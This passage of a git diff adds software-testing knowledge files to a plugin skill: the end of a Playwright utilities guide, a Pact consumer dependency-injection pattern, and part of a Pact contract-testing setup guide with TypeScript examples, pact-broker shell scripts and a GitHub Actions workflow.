+**4. Full integration** (merged fixtures):
+
+Create merged-fixtures.ts and use across all tests.
+
+## Related Fragments
+
+- `api-request.md` - HTTP client with schema validation
+- `network-recorder.md` - HAR-based offline testing
+- `auth-session.md` - Token management
+- `intercept-network-call.md` - Network interception
+- `recurse.md` - Polling patterns
+- `log.md` - Logging utility
+- `file-utils.md` - File operations
+- `fixtures-composition.md` - Advanced mergeTests patterns
+
+## Anti-Patterns
+
+**❌ Don't mix direct and fixture imports in same test:**
+
+```typescript
+import { apiRequest } from '@seontechnologies/playwright-utils';
+import { test } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+
+test('bad', async ({ request, authToken }) => {
+  // Confusing - mixing direct (needs request) and fixture (has authToken)
+  await apiRequest({ request, method: 'GET', path: '/api/users' });
+});
+```
+
+**✅ Use consistent import style:**
+
+```typescript
+import { test } from '../support/merged-fixtures';
+
+test('good', async ({ apiRequest, authToken }) => {
+  // Clean - all from fixtures
+  await apiRequest({ method: 'GET', path: '/api/users' });
+});
+```
+
+**❌ Don't import everything when you need one utility:**
+
+```typescript
+import * as utils from '@seontechnologies/playwright-utils'; // Large bundle
+```
+
+**✅ Use subpath imports:**
+
+```typescript
+import { apiRequest } from '@seontechnologies/playwright-utils/api-request'; // Small bundle
+```
+
+## Reference Implementation
+
+The official `@seontechnologies/playwright-utils` repository provides working examples of all patterns described in these fragments.
+
+**Repository:** <https://github.com/seontechnologies/playwright-utils>
+
+**Key resources:**
+
+- **Test examples:** `playwright/tests` - All utilities in action
+- **Framework setup:** `playwright.config.ts`, `playwright/support/merged-fixtures.ts`
+- **CI patterns:** `.github/workflows/` - GitHub Actions with sharding, parallelization
+
+**Quick start:**
+
+```bash
+git clone https://github.com/seontechnologies/playwright-utils.git
+cd playwright-utils
+nvm use
+npm install
+npm run test:pw-ui  # Explore tests with Playwright UI
+npm run test:pw
+```
+
+All patterns in TEA fragments are production-tested in this repository.
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pact-consumer-di.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pact-consumer-di.md
new file mode 100644
index 0000000..fd2b9ef
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pact-consumer-di.md
@@ -0,0 +1,310 @@
+# Pact Consumer DI Pattern
+
+## Principle
+
+Inject the Pact mock server URL into consumer code via an optional `baseUrl` field on the API context type instead of using raw `fetch()` inside `executeTest()`. This ensures contract tests exercise the real consumer HTTP client — including retry logic, header assembly, timeout configuration, error handling, and metrics — rather than testing Pact itself.
+
+The base URL is typically a module-level constant evaluated at import time (`export const API_BASE_URL = env.API_BASE_URL`), but `mockServer.url` is only available at runtime inside `executeTest()`. Dependency injection solves this timing mismatch cleanly: add one optional field to the context type, use nullish coalescing in the HTTP client factory, and inject the mock server URL in tests.
+
+## Rationale
+
+### The Problem
+
+Raw `fetch()` in `executeTest()` only proves that Pact returns what you told it to return. The real consumer HTTP client has retry logic, header assembly, timeout configuration, error handling, and metrics collection — none of which are exercised when you hand-craft fetch calls. Contracts written with raw fetch are hand-maintained guesses about what the consumer actually sends.
+
+### Why NOT vi.mock
+
+`vi.mock` with ESM (`module: Node16`) has hoisting quirks that make it unreliable for overriding module-level constants. A getter-based mock is non-obvious and fragile — it works until the next bundler or TypeScript config change breaks it. DI is a standard pattern that requires zero mock magic and works across all module systems.
+
+### Comparison
+
+| Approach     | Production code change | Mock complexity            | Exercises real client | Contract accuracy           |
+| ------------ | ---------------------- | -------------------------- | --------------------- | --------------------------- |
+| Raw fetch    | None                   | None                       | No                    | Low — hand-crafted requests |
+| vi.mock      | None                   | High — ESM hoisting issues | Yes                   | Medium — fragile setup      |
+| DI (baseUrl) | 2 lines                | None                       | Yes                   | High — real requests        |
+
+## Pattern Examples
+
+### Example 1: Production Code Change (2 Lines Total)
+
+**Context**: Add an optional `baseUrl` field to the API context type and use nullish coalescing in the HTTP client factory. This is the entire production code change required.
+
+**Implementation**:
+
+```typescript
+// src/types.ts
+export type ApiContext = {
+  jwtToken: string;
+  customerId: number;
+  adminUserId?: number;
+  correlationId?: string;
+  baseUrl?: string; // Override for testing (Pact mock server)
+};
+```
+
+```typescript
+// src/http-client.ts
+import axios from 'axios';
+import type { AxiosInstance } from 'axios';
+import type { ApiContext } from './types.js';
+import { API_BASE_URL, REQUEST_TIMEOUT } from './constants.js';
+
+function createAxiosInstanceWithContext(context: ApiContext): AxiosInstance {
+  return axios.create({
+    baseURL: context.baseUrl ?? API_BASE_URL,
+    timeout: REQUEST_TIMEOUT,
+    headers: {
+      'Content-Type': 'application/json',
+      Accept: 'application/json',
+      Authorization: `Bearer ${context.jwtToken}`,
+      ...(context.correlationId && { 'X-Request-Id': context.correlationId }),
+    },
+  });
+}
+```
+
+**Key Points**:
+
+- `baseUrl` is optional — existing production code never sets it
+- `??` (nullish coalescing) falls back to `API_BASE_URL` when `baseUrl` is undefined
+- Zero production behavior change — only test code provides the override
+- Two lines added total: one type field, one `??` fallback
+
+### Example 2: Shared Test Context Helper
+
+**Context**: Create a reusable helper that builds an `ApiContext` with the mock server URL injected. One helper shared across all consumer test files.
+
+**Implementation**:
+
+```typescript
+// pact/support/test-context.ts
+import type { ApiContext } from '../../src/types.js';
+
+export function createTestContext(mockServerUrl: string): ApiContext {
+  return {
+    jwtToken: 'test-jwt-token',
+    customerId: 1,
+    baseUrl: `${mockServerUrl}/api/v2`,
+  };
+}
+```
+
+**Key Points**:
+
+- `baseUrl` should include the API version prefix when consumer methods use versionless relative paths (e.g., `/transactions`) or endpoint paths are defined without the version segment
+- Single helper shared across all consumer test files — no repetition
+- Returns a plain object — follows pure-function-first pattern from `fixture-architecture.md`
+- Add fields as needed (e.g., `adminUserId`, `correlationId`) for specific test scenarios
+
+### Example 3: Before/After for a Simple Test
+
+**Context**: Migrating an existing raw-fetch test to call real consumer code.
+
+**Before** (raw fetch — tests Pact mock, not consumer code):
+
+```typescript
+.executeTest(async (mockServer: V3MockServer) => {
+  const response = await fetch(
+    `${mockServer.url}/api/v2/common/fields?ruleType=!&ignoreFeatureFlags=true`,
+    {
+      headers: {
+        Authorization: "Bearer test-jwt-token",
+        "Content-Type": "application/json",
+      },
+    },
+  );
+  expect(response.status).toBe(200);
+  const body = (await response.json()) as Record<string, unknown>[];
+  expect(body).toEqual(expect.arrayContaining([...]));
+});
+```
+
+**After** (real consumer code):
+
+```typescript
+.executeTest(async (mockServer: V3MockServer) => {
+  const api = createApiClient(createTestContext(mockServer.url));
+  const result = await api.getFilterFields();
+  expect(result).toEqual(
+    expect.arrayContaining([
+      expect.objectContaining({
+        id: expect.any(String),
+        readable: expect.any(String),
+        filterType: expect.any(String),
+      }),
+    ]),
+  );
+});
+```
+
+**Key Points**:
+
+- No HTTP status assertion — the consumer method throws on non-2xx, so reaching the expect proves success
+- Assertions validate the return value shape, not transport details
+- The real client's headers, timeout, and retry logic are exercised transparently
+- Less code, more coverage — the test is shorter and tests more
+
+### Example 4: Contract Accuracy Fix
+
+**Context**: Using real consumer code revealed a contract mismatch that raw fetch silently hid. This is the strongest argument for the pattern.
+
+The real `getCustomerActivityCount(transactionId, dateRange)` sends:
+
+```json
+{ "transactionId": "txn-123", "filters": { "dateRange": "last_30_days" } }
+```
+
+The old test with raw fetch sent:
+
+```json
+{ "transactionId": "txn-123", "filters": {} }
+```
+
+This was wrong but passed because raw fetch let you hand-craft any body. When switched to real code, Pact immediately returned a 500 Request-Mismatch because the body shape did not match the interaction.
+
+**Implementation** — fix the contract to match reality:
+
+```typescript
+// WRONG — old contract with empty filters
+.withRequest({
+  method: "POST",
+  path: "/api/v2/customers/activity/count",
+  body: { transactionId: "txn-123", filters: {} },
+})
+
+// CORRECT — matches what real code actually sends
+.withRequest({
+  method: "POST",
+  path: "/api/v2/customers/activity/count",
+  body: {
+    transactionId: "txn-123",
+    filters: { dateRange: "last_30_days" },
+  },
+})
+```
+
+**Key Points**:
+
+- Contracts become discoverable truth, not hand-maintained guesses
+- Raw fetch silently hid the mismatch — the mock accepted whatever you sent
+- The 500 Request-Mismatch from Pact was immediate and clear
+- Fix the contract when real code reveals a mismatch — that mismatch is a bug the old tests were hiding
+
+### Example 5: Parallel-Endpoint Methods
+
+**Context**: Facade methods that call multiple endpoints via `Promise.all` (e.g., `getTransactionStats` calls count + score + amount in parallel). Keep separate `it` blocks per endpoint and use the lower-level request function directly.
+
+**Implementation**:
+
+```typescript
+import { describe, it, expect } from 'vitest';
+import type { V3MockServer } from '@pact-foundation/pact';
+import { makeApiRequestWithContext } from '../../src/http-client.js';
+import type { CountStatistics } from '../../src/types.js';
+import { createTestContext } from '../support/test-context.js';
+
+describe('Transaction Statistics - Count Endpoint', () => {
+  // ... provider setup ...
+
+  it('should return count statistics', async () => {
+    const statsRequest = { transactionId: 'txn-123', period: 'daily' };
+
+    await provider
+      .given('transaction statistics exist')
+      .uponReceiving('a request for transaction count statistics')
+      .withRequest({
+        method: 'POST',
+        path: '/api/v2/transactions/statistics/count',
+        body: statsRequest,
+      })
+      .willRespondWith({
+        status: 200,
+        body: { count: 42, period: 'daily' },
+      })
+      .executeTest(async (mockServer: V3MockServer) => {
+        const context = createTestContext(mockServer.url);
+        const result = await makeApiRequestWithContext<CountStatistics>(context, '/transactions/statistics/count', 'POST', statsRequest);
+        expect(result.count).toBeDefined();
+      });
+  });
+});
+```
+
+**Key Points**:
+
+- Each Pact interaction verifies one endpoint contract
+- The `Promise.all` orchestration is internal logic, not a contract concern
+- Use `makeApiRequestWithContext` (lower-level) when the facade method bundles multiple calls
+- Separate `it` blocks keep contracts independent and debuggable
+
+## Anti-Patterns
+
+### Wrong: Raw fetch — tests Pact mock, not consumer code
+
+```typescript
+// BAD: Raw fetch duplicates headers and URL assembly
+const response = await fetch(`${mockServer.url}/api/v2/transactions`, {
+  method: 'GET',
+  headers: {
+    Authorization: 'Bearer test-jwt-token',
+    'Content-Type': 'application/json',
+  },
+});
+expect(response.status).toBe(200);
+```
+
+### Wrong: vi.mock with getter — fragile ESM hoisting
+
+```typescript
+// BAD: ESM hoisting makes this non-obvious and brittle
+vi.mock('../../src/constants.js', async (importOriginal) => ({
+  ...(await importOriginal()),
+  get API_BASE_URL() {
+    return mockBaseUrl;
+  },
+}));
+```
+
+### Wrong: Asserting HTTP status instead of return value
+
+```typescript
+// BAD: Status 200 tells you nothing about the consumer's parsing logic
+expect(response.status).toBe(200);
+```
+
+### Right: Call real consumer code, assert return values
+
+```typescript
+// GOOD: Exercises real client, validates parsed return value
+const api = createApiClient(createTestContext(mockServer.url));
+const result = await api.searchTransactions(request);
+expect(result.transactions).toBeDefined();
+```
+
+## Rules
+
+1. `baseUrl` field MUST be optional with fallback via `??` (nullish coalescing)
+2. Zero production behavior change — existing code never sets `baseUrl`
+3. Assertions validate return values from consumer methods, not HTTP status codes
+4. For parallel-endpoint facade methods, keep separate `it` blocks per endpoint
+5. Include the API version prefix in `baseUrl` when endpoint paths/consumer methods are versionless (for example, methods call `/transactions` instead of `/api/v2/transactions`)
+6. Create a single shared test context helper — no repetition across test files
+7. If real code reveals a contract mismatch, fix the contract — that mismatch is a bug the old tests were hiding
+
+## Integration Points
+
+- `contract-testing.md` — Foundational Pact.js patterns and provider verification
+- `pactjs-utils-consumer-helpers.md` — `createProviderState()`, `setJsonContent()`, and `setJsonBody()` helpers used alongside this pattern
+- `pactjs-utils-provider-verifier.md` — Provider-side verification configuration
+- `fixture-architecture.md` — Composable fixture patterns (`createTestContext` follows pure-function-first)
+- `api-testing-foundations.md` — API testing best practices
+
+Used in workflows:
+
+- `automate` — Consumer contract test generation
+- `test-review` — Contract test quality checks
+
+## Source
+
+Pattern derived from my-consumer-app Pact consumer test refactor (March 2026). Implements dependency injection for testability as described in Pact.js best practices.
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pact-consumer-framework-setup.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pact-consumer-framework-setup.md
new file mode 100644
index 0000000..10557d5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pact-consumer-framework-setup.md
@@ -0,0 +1,635 @@
+# Pact Consumer CDC — Framework Setup
+
+## Principle
+
+When scaffolding a Pact.js consumer contract testing framework, align every artifact — directory layout, vitest config, package.json scripts, shell scripts, CI workflow, and test files — with the canonical `@seontechnologies/pactjs-utils` conventions. Consistency across repositories eliminates onboarding friction and ensures CI pipelines are copy-paste portable.
+
+## Rationale
+
+The TEA framework workflow generates scaffolding for consumer-driven contract (CDC) testing. Without opinionated, battle-tested conventions, each project invents its own structure — different script names, different env var patterns, different CI step ordering — making cross-repo maintenance expensive. This fragment codifies the production-proven patterns from the pactjs-utils reference implementation so that every new project starts correctly.
+
+## Pattern Examples
+
+### Example 1: Directory Structure & File Naming
+
+**Context**: Consumer contract test project layout using pactjs-utils conventions.
+
+**Implementation**:
+
+```
+tests/contract/
+├── consumer/
+│   ├── get-filter-fields.pacttest.ts    # Consumer test (one per endpoint group)
+│   ├── filter-transactions.pacttest.ts
+│   └── get-transaction-stats.pacttest.ts
+└── support/
+    ├── pact-config.ts                   # PactV4 factory (consumer/provider names, output dir)
+    ├── provider-states.ts               # Provider state factory functions
+    └── consumer-helpers.ts              # Local shim (until pactjs-utils is published)
+
+scripts/
+├── env-setup.sh                         # Shared env loader (sourced by all broker scripts)
+├── publish-pact.sh                      # Publish pact files to broker
+├── can-i-deploy.sh                      # Deployment safety check
+└── record-deployment.sh                 # Record deployment after merge
+
+.github/
+├── actions/
+│   └── detect-breaking-change/
+│       └── action.yml                   # PR checkbox-driven breaking change detection
+└── workflows/
+    └── contract-test-consumer.yml       # Consumer CDC CI workflow
+```
+
+**Key Points**:
+
+- Consumer tests use `.pacttest.ts` extension (not `.pact.spec.ts` or `.contract.ts`)
+- Support files live in `tests/contract/support/`, not mixed with consumer tests
+- Shell scripts live in `scripts/` at project root, not nested inside test directories
+- CI workflow named `contract-test-consumer.yml` (not `pact-consumer.yml` or other variants)
+
+---
+
+### Example 2: Vitest Configuration for Pact
+
+**Context**: Minimal vitest config dedicated to contract tests — do NOT copy settings from the project's main `vitest.config.ts`.
+
+**Implementation**:
+
+```typescript
+// vitest.config.pact.ts
+import { defineConfig } from 'vitest/config';
+
+export default defineConfig({
+  test: {
+    environment: 'node',
+    include: ['tests/contract/**/*.pacttest.ts'],
+    testTimeout: 30000,
+  },
+});
+```
+
+**Key Points**:
+
+- Do NOT add `pool`, `poolOptions`, `setupFiles`, `coverage`, or other settings from the unit test config
+- Keep it minimal — Pact tests run in Node environment with extended timeout
+- 30 second timeout accommodates Pact mock server startup and interaction verification
+- Use a dedicated config file (`vitest.config.pact.ts`), not the main vitest config
+
+---
+
+### Example 3: Package.json Script Naming
+
+**Context**: Colon-separated naming matching pactjs-utils exactly. Scripts source `env-setup.sh` inline.
+
+**Implementation**:
+
+```json
+{
+  "scripts": {
+    "test:pact:consumer": "vitest run --config vitest.config.pact.ts",
+    "publish:pact": ". ./scripts/env-setup.sh && ./scripts/publish-pact.sh",
+    "can:i:deploy:consumer": ". ./scripts/env-setup.sh && PACTICIPANT=<service-name> ./scripts/can-i-deploy.sh",
+    "record:consumer:deployment": ". ./scripts/env-setup.sh && PACTICIPANT=<service-name> ./scripts/record-deployment.sh"
+  }
+}
+```
+
+Replace `<service-name>` with the consumer's pacticipant name (e.g., `my-frontend-app`).
+
+**Key Points**:
+
+- Use colon-separated naming: `test:pact:consumer`, NOT `test:contract` or `test:contract:consumer`
+- Broker scripts source `env-setup.sh` inline in package.json (`. ./scripts/env-setup.sh && ...`)
+- `PACTICIPANT` is set per-script invocation, not globally
+- Do NOT use `npx pact-broker` — use `pact-broker` directly (installed as a dependency)
+
+---
+
+### Example 4: Shell Scripts
+
+**Context**: Reusable bash scripts aligned with pactjs-utils conventions.
+
+#### `scripts/env-setup.sh` — Shared Environment Loader
+
+```bash
+#!/bin/bash
+# -e: exit on error  -u: error on undefined vars (catches typos/missing env vars in CI)
+set -eu
+
+if [ -f .env ]; then
+  set -a
+  source .env
+  set +a
+fi
+
+export GITHUB_SHA="${GITHUB_SHA:-$(git rev-parse --short HEAD)}"
+export GITHUB_BRANCH="${GITHUB_BRANCH:-$(git rev-parse --abbrev-ref HEAD)}"
+```
+
+#### `scripts/publish-pact.sh` — Publish Pacts to Broker
+
+```bash
+#!/bin/bash
+# Publish generated pact files to PactFlow/Pact Broker
+#
+# Requires: PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA, GITHUB_BRANCH
+# -e: exit on error  -u: error on undefined vars  -o pipefail: fail if any pipe segment fails
+set -euo pipefail
+
+. ./scripts/env-setup.sh
+
+PACT_DIR="./pacts"
+
+pact-broker publish "$PACT_DIR" \
+    --consumer-app-version="$GITHUB_SHA" \
+    --branch="$GITHUB_BRANCH" \
+    --broker-base-url="$PACT_BROKER_BASE_URL" \
+    --broker-token="$PACT_BROKER_TOKEN"
+```
+
+#### `scripts/can-i-deploy.sh` — Deployment Safety Check
+
+```bash
+#!/bin/bash
+# Check if a pacticipant version can be safely deployed
+#
+# Requires: PACTICIPANT (set by caller), PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA
+# -e: exit on error  -u: error on undefined vars  -o pipefail: fail if any pipe segment fails
+set -euo pipefail
+
+. ./scripts/env-setup.sh
+
+PACTICIPANT="${PACTICIPANT:?PACTICIPANT env var is required}"
+ENVIRONMENT="${ENVIRONMENT:-dev}"
+
+pact-broker can-i-deploy \
+    --pacticipant "$PACTICIPANT" \
+    --version="$GITHUB_SHA" \
+    --to-environment "$ENVIRONMENT" \
+    --retry-while-unknown=10 \
+    --retry-interval=30
+```
+
+#### `scripts/record-deployment.sh` — Record Deployment
+
+```bash
+#!/bin/bash
+# Record a deployment to an environment in Pact Broker
+# Only records on main/master branch (skips feature branches)
+#
+# Requires: PACTICIPANT, PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA, GITHUB_BRANCH
+# -e: exit on error  -u: error on undefined vars  -o pipefail: fail if any pipe segment fails
+set -euo pipefail
+
+. ./scripts/env-setup.sh
+
+PACTICIPANT="${PACTICIPANT:?PACTICIPANT env var is required}"
+
+if [ "$GITHUB_BRANCH" = "main" ] || [ "$GITHUB_BRANCH" = "master" ]; then
+  pact-broker record-deployment \
+      --pacticipant "$PACTICIPANT" \
+      --version "$GITHUB_SHA" \
+      --environment "${npm_config_env:-dev}"
+else
+  echo "Skipping record-deployment: not on main branch (current: $GITHUB_BRANCH)"
+fi
+```
+
+**Key Points**:
+
+- `env-setup.sh` uses `set -eu` (no pipefail — it only sources `.env`, no pipes); broker scripts use `set -euo pipefail`
+- Use `pact-broker` directly, NOT `npx pact-broker`
+- Use `PACTICIPANT` env var (required via `${PACTICIPANT:?...}`), not hardcoded service names
+- `can-i-deploy` includes `--retry-while-unknown=10 --retry-interval=30` (waits for provider verification)
+- `record-deployment` has branch guard (only records on main/master)
+- Do NOT invent custom env vars like `PACT_CONSUMER_VERSION` or `PACT_BREAKING_CHANGE` in scripts — those are handled by `env-setup.sh` and the CI detect-breaking-change action respectively
+
+---
+
+### Example 5: CI Workflow (`contract-test-consumer.yml`)
+
+**Context**: GitHub Actions workflow for consumer CDC, matching pactjs-utils structure exactly.
+
+**Implementation**:
+
+```yaml
+name: Contract Test - Consumer
+on:
+  pull_request:
+    types: [opened, synchronize, reopened, edited]
+  push:
+    branches: [main]
+
+env:
+  PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+  PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+  GITHUB_SHA: ${{ github.sha }}
+  GITHUB_BRANCH: ${{ github.head_ref || github.ref_name }}
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.head_ref || github.ref }}
+  cancel-in-progress: true
+
+jobs:
+  consumer-contract-test:
+    if: github.actor != 'dependabot[bot]'
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v6
+
+      - uses: actions/setup-node@v6
+        with:
+          node-version-file: '.nvmrc'
+          cache: 'npm'
+
+      - name: Detect Pact breaking change
+        uses: ./.github/actions/detect-breaking-change
+
+      - name: Install dependencies
+        run: npm ci
+
+      # (1) Generate pact files
+      - name: Run consumer contract tests
+        run: npm run test:pact:consumer
+
+      # (2) Publish pacts to broker
+      - name: Publish pacts to PactFlow
+        run: npm run publish:pact
+
+      # After publish, PactFlow fires a webhook that triggers
+      # the provider's contract-test-provider.yml workflow.
+      # can-i-deploy retries while waiting for provider verification.
+
+      # (4) Check deployment safety (main only — on PRs, local verification is the gate)
+      - name: Can I deploy consumer? (main only)
+        if: github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'
+        run: npm run can:i:deploy:consumer
+
+      # (5) Record deployment (main only)
+      - name: Record consumer deployment (main only)
+        if: github.ref == 'refs/heads/main'
+        run: npm run record:consumer:deployment --env=dev
+```
+
+**Key Points**:
+
+- **Workflow-level `env` block** for broker secrets and git vars — not per-step
+- **`detect-breaking-change` step** runs before install to set `PACT_BREAKING_CHANGE` env var
+- **Step numbering skips (3)** — step 3 is the webhook-triggered provider verification (happens externally)
+- **can-i-deploy condition**: `github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'`
+- **Comment on (4)**: "on PRs, local verification is the gate"
+- **No upload-artifact step** — the broker is the source of truth for pact files
+- **`dependabot[bot]` skip** on the job (contract tests don't run for dependency updates)
+- **PR types include `edited`** — needed for breaking change checkbox detection in PR body
+- **`GITHUB_BRANCH`** uses `${{ github.head_ref || github.ref_name }}` — `head_ref` for PRs, `ref_name` for pushes
+
+---
+
+### Example 6: Detect Breaking Change Composite Action
+
+**Context**: GitHub composite action that reads a `[x] Pact breaking change` checkbox from the PR body.
+
+**Implementation**:
+
+Create `.github/actions/detect-breaking-change/action.yml`:
+
+```yaml
+name: 'Detect Pact Breaking Change'
+description: 'Reads the PR template checkbox to determine if this change is a Pact breaking change. Sets PACT_BREAKING_CHANGE env var.'
+
+outputs:
+  is_breaking_change:
+    description: 'Whether the change is a breaking change (true/false)'
+    value: ${{ steps.result.outputs.is_breaking_change }}
+
+runs:
+  using: 'composite'
+  steps:
+    # PR event path: read checkbox directly from current PR body.
+    - name: Set PACT_BREAKING_CHANGE from PR description (PR only)
+      if: github.event_name == 'pull_request'
+      uses: actions/github-script@v7
+      with:
+        script: |
+          const prBody = context.payload.pull_request.body || '';
+          const breakingChangePattern = /\[\s*[xX]\s*\]\s*Pact breaking change/i;
+          const isBreakingChange = breakingChangePattern.test(prBody);
+          core.exportVariable('PACT_BREAKING_CHANGE', isBreakingChange ? 'true' : 'false');
+          console.log(`PACT_BREAKING_CHANGE=${isBreakingChange ? 'true' : 'false'} (from PR description checkbox).`);
+
+    # Push-to-main path: resolve the merged PR and read the same checkbox.
+    - name: Set PACT_BREAKING_CHANGE from merged PR (push to main)
+      if: github.event_name == 'push' && github.ref == 'refs/heads/main'
+      uses: actions/github-script@v7
+      with:
+        script: |
+          const { data: prs } = await github.rest.repos.listPullRequestsAssociatedWithCommit({
+            owner: context.repo.owner,
+            repo: context.repo.repo,
+            commit_sha: context.sha,
+          });
+          const merged = prs.find(pr => pr.merged_at);
+          const mergedBody = merged?.body || '';
+          const breakingChangePattern = /\[\s*[xX]\s*\]\s*Pact breaking change/i;
+          const isBreakingChange = breakingChangePattern.test(mergedBody);
+          core.exportVariable('PACT_BREAKING_CHANGE', isBreakingChange ? 'true' : 'false');
+          console.log(`PACT_BREAKING_CHANGE=${isBreakingChange ? 'true' : 'false'} (from merged PR lookup).`);
+
+    - name: Export result
+      id: result
+      shell: bash
+      run: echo "is_breaking_change=${PACT_BREAKING_CHANGE:-false}" >> "$GITHUB_OUTPUT"
+```
+
+**Key Points**:
+
+- Two separate conditional steps (better CI log readability than single if/else)
+- PR path: reads checkbox directly from PR body
+- Push-to-main path: resolves merged PR via GitHub API, reads same checkbox
+- Exports `PACT_BREAKING_CHANGE` env var for downstream steps
+- `outputs.is_breaking_change` available for consuming workflows
+- Uses a case-insensitive checkbox regex (`/\[\s*[xX]\s*\]\s*Pact breaking change/i`) to detect checked states robustly
+
+---
+
+### Example 7: Consumer Test Using PactV4 Builder
+
+**Context**: Consumer pact test using PactV4 `addInteraction()` builder pattern. The test MUST call **real consumer code** (your actual API client/service functions) against the mock server — not raw `fetch()`. Using `fetch()` directly defeats the purpose of CDC testing because it doesn't verify your actual consumer code works with the contract.
+
+**Implementation**:
+
+The consumer code must expose a way to inject the base URL (e.g., `setApiUrl()`, constructor parameter, or environment variable). This is a prerequisite for contract testing.
+
+```typescript
+// src/api/movie-client.ts — The REAL consumer code (already exists in your project)
+import axios from 'axios';
+
+const axiosInstance = axios.create({
+  baseURL: process.env.API_URL || 'http://localhost:3001',
+});
+
+// Expose a way to override the base URL for Pact testing
+export const setApiUrl = (url: string) => {
+  axiosInstance.defaults.baseURL = url;
+};
+
+export const getMovies = async () => {
+  const res = await axiosInstance.get('/movies');
+  return res.data;
+};
+
+export const getMovieById = async (id: number) => {
+  const res = await axiosInstance.get(`/movies/${id}`);
+  return res.data;
+};
+```
+
+```typescript
+// tests/contract/consumer/get-movies.pacttest.ts
+import { MatchersV3 } from '@pact-foundation/pact';
+import type { V3MockServer } from '@pact-foundation/pact';
+import { createProviderState, setJsonBody, setJsonContent } from '../support/consumer-helpers';
+import { movieExists } from '../support/provider-states';
+import { createPact } from '../support/pact-config';
+// Import REAL consumer code — this is what we're actually testing
+import { getMovies, getMovieById, setApiUrl } from '../../../src/api/movie-client';
+
+const { like, integer, string } = MatchersV3;
+
+const pact = createPact();
+
+describe('Movies API Consumer Contract', () => {
+  const movieWithId = { id: 1, name: 'The Matrix', year: 1999, rating: 8.7, director: 'Wachowskis' };
+
+  it('should get a movie by ID', async () => {
+    const [stateName, stateParams] = createProviderState(movieExists(movieWithId));
+
+    await pact
+      .addInteraction()
+      .given(stateName, stateParams)
+      .uponReceiving('a request to get movie by ID')
+      .withRequest(
+        'GET',
+        '/movies/1',
+        setJsonContent({
+          headers: { Accept: 'application/json' },
+        }),
+      )
+      .willRespondWith(
+        200,
+        setJsonBody(
+          like({
+            id: integer(1),
+            name: string('The Matrix'),
+            year: integer(1999),
+            rating: like(8.7),
+            director: string('Wachowskis'),
+          }),
+        ),
+      )
+      .executeTest(async (mockServer: V3MockServer) => {
+        // Inject mock server URL into the REAL consumer code
+        setApiUrl(mockServer.url);
+
+        // Call the REAL consumer function — this is what CDC testing validates
+        const movie = await getMovieById(1);
+
+        expect(movie.id).toBe(1);
+        expect(movie.name).toBe('The Matrix');
+      });
+  });
+
+  it('should handle movie not found', async () => {
+    await pact
+      .addInteraction()
+      .given('No movies exist')
+      .uponReceiving('a request for a non-existent movie')
+      .withRequest('GET', '/movies/999')
+      .willRespondWith(404, setJsonBody({ error: 'Movie not found' }))
+      .executeTest(async (mockServer: V3MockServer) => {
+        setApiUrl(mockServer.url);
+
+        await expect(getMovieById(999)).rejects.toThrow();
+      });
+  });
+});
+```
+
+**Key Points**:
+
+- **CRITICAL**: Always test your REAL consumer code — import and call actual API client functions, never raw `fetch()`
+- Using `fetch()` directly only tests that Pact's mock server works, which is meaningless
+- Consumer code MUST expose a URL injection mechanism: `setApiUrl()`, env var override, or constructor parameter
+- If the consumer code doesn't support URL injection, add it — this is a design prerequisite for CDC testing
+- Use PactV4 `addInteraction()` builder (not PactV3 fluent API with `withRequest({...})` object)
+- **Interaction naming convention**: Use the pattern `"a request to <action> <resource> [<condition>]"` for `uponReceiving()`. Examples: `"a request to get a movie by ID"`, `"a request to delete a non-existing movie"`, `"a request to create a movie that already exists"`. These names appear in Pact Broker UI and verification logs — keep them descriptive and unique within the consumer-provider pair.
+- Use `setJsonContent` for request/response builder callbacks with query/header/body concerns; use `setJsonBody` for body-only response callbacks
+- Provider state factory functions (`movieExists`) return `ProviderStateInput` objects
+- `createProviderState` converts to `[stateName, stateParams]` tuple for `.given()`
+
+**Common URL injection patterns** (pick whichever fits your consumer architecture):
+
+| Pattern              | Example                                      | Best For              |
+| -------------------- | -------------------------------------------- | --------------------- |
+| `setApiUrl(url)`     | Mutates axios instance `baseURL`             | Singleton HTTP client |
+| Constructor param    | `new ApiClient({ baseUrl: mockServer.url })` | Class-based clients   |
+| Environment variable | `process.env.API_URL = mockServer.url`       | Config-driven apps    |
+| Factory function     | `createApi({ baseUrl: mockServer.url })`     | Functional patterns   |
+
+---
+
+### Example 8: Support Files
+
+#### Pact Config Factory
+
+```typescript
+// tests/contract/support/pact-config.ts
+import path from 'node:path';
+import { PactV4 } from '@pact-foundation/pact';
+
+export const createPact = (overrides?: { consumer?: string; provider?: string }) =>
+  new PactV4({
+    dir: path.resolve(process.cwd(), 'pacts'),
+    consumer: overrides?.consumer ?? 'MyConsumerApp',
+    provider: overrides?.provider ?? 'MyProviderAPI',
+    logLevel: 'warn',
+  });
+```
+
+#### Provider State Factories
+
+```typescript
+// tests/contract/support/provider-states.ts
+import type { ProviderStateInput } from './consumer-helpers';
+
+export const movieExists = (movie: { id: number; name: string; year: number; rating: number; director: string }): ProviderStateInput => ({
+  name: 'An existing movie exists',
+  params: movie,
+});
+
+export const hasMovieWithId = (id: number): ProviderStateInput => ({
+  name: 'Has a movie with a specific ID',
+  params: { id },
+});
+```
+
+#### Local Consumer Helpers Shim
+
+```typescript
+// tests/contract/support/consumer-helpers.ts
+// TODO(temporary scaffolding): Replace local TemplateHeaders/TemplateQuery types
+// with '@seontechnologies/pactjs-utils' exports when available.
+
+type TemplateHeaders = Record<string, string | number | boolean>;
+type TemplateQueryValue = string | number | boolean | Array<string | number | boolean>;
